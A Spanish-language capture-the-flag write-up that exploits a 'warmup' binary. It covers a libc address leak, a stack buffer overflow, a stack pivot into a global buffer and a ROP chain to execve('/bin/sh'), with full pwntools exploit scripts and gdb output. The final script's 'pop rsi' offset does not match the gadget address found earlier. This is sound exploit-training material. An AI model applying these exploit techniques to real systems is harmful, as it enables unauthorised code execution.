Reversing
Si ejecutamos el binario nos muestra una dirección en x64
que por ahora no sabemos que es y nos muestra un prompt probablemente para enviar una posible entrada
❯ ./warmup
0x7b8f28087bd0
name>>
La unica función existente es la main
, esta inicia llamando a printf
mostrando en formato %p
como puntero la dirección de la función puts
cargada en memoria
Podemos comprobarlo desde gdb
, corremos y comprobamos que la dirección mostrada es la de puts
cargada desde libc, entonces podemos obtener un leak
❯ gdb -q warmup
Reading symbols from warmup...
(No debugging symbols found in warmup)
pwndbg> r
Starting program: /home/user/warmup
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x7ffff7c87bd0
name>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in read () from ./libc.so.6
pwndbg> x/i 0x7ffff7c87bd0
0x7ffff7c87bd0 <puts>: endbr64
pwndbg>
Si le restamos el offset de puts
deberiamos obtener la dirección base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.39
BuildID: 08134323d00289185684a4cd177d202f39c2a5f3
MD5: c0b86652995f86fa7bf131547f8105c5
SHA1: e718addc37dff7ca12d61430c9865ce13166178d
SHA256: fc4c52f3910ed57a088d19ab86c671358f5e917cd4e95b21fd08e4fd922c0aa2
Symbols:
__libc_start_main_ret = 0x2a1ca
dup2 = 0x116960
printf = 0x600f0
puts = 0x87bd0
read = 0x11ba50
str_bin_sh = 0x1cb42f
system = 0x58740
write = 0x11c560
Podemos automatizar todo este proceso desde un exploit en python
, recibimos la dirección y le restamos el offset para obtener libc
base para usarla después
#!/usr/bin/python3
from pwn import gdb
shell = gdb.debug("./warmup", "continue")
libc_base = int(shell.recvline().strip(), 16) - 0x87bd0
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Al ejecutar el exploit nos muestra la dirección que calculamos de libc base
y si la comparamos con lo que nos devuelve gdb
del proceso actual es la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 313643
[*] running in new terminal: ['/usr/bin/gdb', '-q', './warmup']
[*] Libc base: 0x70c153c00000
[*] Switching to interactive mode
name>> $
^C
Program received signal SIGINT, Interrupt.
0x000070c153d1ba61 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x404000 0x405000 rw-p 1000 5000 /home/user/warmup
► 0x70c153c00000 0x70c153c28000 r--p 28000 0 /home/user/libc.so.6
► 0x70c153c28000 0x70c153db0000 r-xp 188000 28000 /home/user/libc.so.6
► 0x70c153db0000 0x70c153dff000 r--p 4f000 1b0000 /home/user/libc.so.6
► 0x70c153dff000 0x70c153e03000 r--p 4000 1fe000 /home/user/libc.so.6
► 0x70c153e03000 0x70c153e05000 rw-p 2000 202000 /home/user/libc.so.6
0x70c153e62000 0x70c153e63000 r--p 1000 0 /home/user/ld-2.39.so
pwndbg>
Siguiendo con el desensamblado ahora muestra con printf
un prompt y recibe un total de 0x200
o 512
bytes en la variable global name
utilizando la función fgets
Podemos verificarlo enviando 80 A's
, al enviarlas a la variable name, detenemos el debugger y en la dirección 0x404060
podemos ver que contiene nuestro input
❯ python3 -q
>>> b"A" * 80
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>>
name>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
alright>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in read () from ./libc.so.6
pwndbg> x/s &name
0x404060 <name>: 'A' <repetidos 80 veces>
pwndbg>
Finalmente llama a printf
para mostrar otro prompt que igual recibe datos con fgets
en la variable rbp - 64
, recibe 0x58
o 88
, es mas de lo que soporta
Explotación
Iniciamos mirando las protecciones con checksec
, este binario solo tiene activada la protección NX
que nos impedirá ejecutar shellcode directamente en el stack
❯ checksec warmup
[*] '/home/user/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Podemos crear un payload, enviaremos 64 A's
para rellenar el buffer antes de rbp
, 8 B's
que seran el valor de rbp en el leave
y 8 C's
que tomaran el valor del return address, y finalmente algunas D's
que simplemente se guardarán en el stack
❯ python3 -q
>>> b"A" * 64 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
Iniciamos con los problemas, debido a la limitación de espacio aunque enviamos un total de 24 D's
solo vemos representadas 8
, esto es muy poco ya que es probable que necesitemos hacer ROP
debido al NX
, por lo que debemos hacer un stack pivot a otro lugar con mas espacio, afortunadamente el primer payload sabemos que se almacena estaticamente en la dirección 0x404060
y tenemos 0x200
de espacio
alright>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD
okey
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401281 in main ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe2d8: 0x4343434343434343
pwndbg> x/s $rsp + 8
0x7fffffffe2e0: "DDDDDDD"
pwndbg>
Entonces, enviamos en el segundo payload el offset hasta el valor de rbp
y en el valor de rbp
enviamos la dirección 0x404060
de la variable name
, luego ejecutamos un leave; ret;
para hacer el stack pivot al payload1
donde enviamos algunos bytes
#!/usr/bin/python3
from pwn import gdb, p64
shell = gdb.debug("./warmup", "b *0x401281\ncontinue")
libc_base = int(shell.recvline().strip(), 16) - 0x87bd0
payload1 = b""
payload1 += b"A" * 8
payload1 += b"B" * 8
payload1 += b"C" * 24
payload2 = b""
payload2 += b"A" * 64 # offset
payload2 += p64(0x404060) # payload1
payload2 += p64(libc_base + 0x299d2) # leave; ret;
shell.sendlineafter(b">>", payload1)
shell.sendlineafter(b">>", payload2)
shell.recvline()
Al llegar al Breakpoint de la instrucción ret
, rbp
tiene como valor 0x404060
, la siguiente instrucción a ejecutarse será leave; ret;
, la instrucción leave
equivale a mov rsp, rbp; pop rbp;
entonces cuando se ejecute el mov
el rsp
apuntará a 0x404060
y al ejecutar el pop
quitará 8
bytes en este caso las A's
de payload1
Breakpoint 1, 0x0000000000401281 in main ()
pwndbg> x/i $rip
=> 0x401281 <main+167>: ret
pwndbg> x/s $rbp
0x404060 <name>: "AAAAAAAABBBBBBBB", 'C' <repetidos 24 veces>
pwndbg> x/2i *(long long *)($rsp)
0x7acdc4a299d2 <warn+184>: leave
0x7acdc4a299d3 <warn+185>: ret
pwndbg>
Cuando ejecuta ese leave; ret;
ahora rbp
tomó el valor de las A's
y la dirección de retorno son las B's
, y afortunadamente en el stack se ven representadas todas las C's
por lo que ahora deberiamos tener espacio suficiente para un buen ropchain
pwndbg> c
Continuando.
Program received signal SIGSEGV, Segmentation fault.
0x00007acdc4a299d3 in warn () from ./libc.so.6
pwndbg> x/i $rip
=> 0x7acdc4a299d3 <warn+185>: ret
pwndbg> p/x $rbp
$2 = 0x4141414141414141
pwndbg> x/gx $rsp
0x404068 <name+8>: 0x4242424242424242
pwndbg> x/s $rsp+8
0x404070 <name+16>: 'C' <repetidos 24 veces>
pwndbg>
Ya que modificamos el stack al llamar a system
tendremos problemas, entonces haremos un ropchain
con execve
, para ello necesitamos almacenar en rax
el syscall 0x3b
, en rdi
el primer argumento que es la referencia a /bin/sh
, finalmente en rsi
y rdx
el segundo y tercer argumento que podemos establecer en NULL
❯ ropper --file libc.so.6 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.6/ELF/x86_64)> search pop rax; ret;
[INFO] Searching for gadgets: pop rax; ret;
[INFO] File: libc.so.6
0x00000000000dd237: pop rax; ret;
(libc.so.6/ELF/x86_64)> search pop rdi; ret;
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: libc.so.6
0x000000000010f75b: pop rdi; ret;
(libc.so.6/ELF/x86_64)> search pop rsi; ret;
[INFO] Searching for gadgets: pop rsi; ret;
[INFO] File: libc.so.6
0x0000000000110a4d: pop rsi; ret;
(libc.so.6/ELF/x86_64)> search pop rdx; ret;
[INFO] Searching for gadgets: pop rdx; ret;
(libc.so.6/ELF/x86_64)>
Aunque no encontramos un pop rdx
encontramos un gadget perfecto que mueve a rdx
el valor de rsi
que establecimos a 0
, luego ejecuta un xor esi, esi
y al final un syscall
que es lo que queremos para llamar a execve("/bin/sh", NULL, NULL)
(libc.so.6/ELF/x86_64)> search mov rdx, rsi; %; syscall
[INFO] Searching for gadgets: mov rdx, rsi; %; syscall
[INFO] File: libc.so.6
0x000000000011b71f: mov rdx, rsi; xor esi, esi; syscall;
(libc.so.6/ELF/x86_64)>
Nuestro exploit final en payload2
rellena con A's
el offset y luego ejecuta un stack pivot hacia el payload1
donde ejecuta nuestro ropchain que nos devuelve una shell
#!/usr/bin/python3
from pwn import process, p64
shell = process("./warmup")
libc_base = int(shell.recvline().strip(), 16) - 0x87bd0
payload1 = b""
payload1 += b"A" * 8 # padding for leave
payload1 += p64(libc_base + 0x0dd237) # pop rax; ret;
payload1 += p64(0x3b) # execve()
payload1 += p64(libc_base + 0x10f75b) # pop rdi; ret;
payload1 += p64(libc_base + 0x1cb42f) # "/bin/sh"
payload1 += p64(libc_base + 0x110b7c) # pop rsi; ret;
payload1 += p64(0x0) # NULL
payload1 += p64(libc_base + 0x11b71f) # mov rdx, rsi; syscall;
payload2 = b""
payload2 += b"A" * 64 # offset
payload2 += p64(0x404060) # payload1
payload2 += p64(libc_base + 0x0299d2) # leave; ret;
shell.sendlineafter(b">>", payload1)
shell.sendlineafter(b">>", payload2)
shell.recvline()
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './warmup': pid 317476
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$